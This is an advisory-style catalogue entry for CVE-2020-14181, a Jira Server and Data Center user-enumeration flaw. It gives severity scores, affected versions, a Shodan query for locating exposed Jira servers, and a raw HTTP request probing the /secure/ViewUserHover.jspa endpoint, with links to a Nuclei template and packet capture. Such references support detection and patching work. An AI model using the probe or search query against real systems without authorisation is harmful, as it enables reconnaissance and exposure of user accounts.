| Title | Jira Server and Data Center - Information Disclosure |
|---|---|
| Author | bjhulst |
| Severity | Medium |
| Impact | An attacker can gain access to sensitive information, potentially leading to further attacks. |
| Remediation | Apply the necessary patches or updates provided by Atlassian to fix the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.93124 |
| CVE ID | CVE-2020-14181 |
| CWE ID | CWE-200 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2020 atlassian jira packetstorm vuln |
Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the /ViewUserHover.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. Affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
GET /secure/ViewUserHover.jspa HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14181.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-14181.pcap
N/AN/A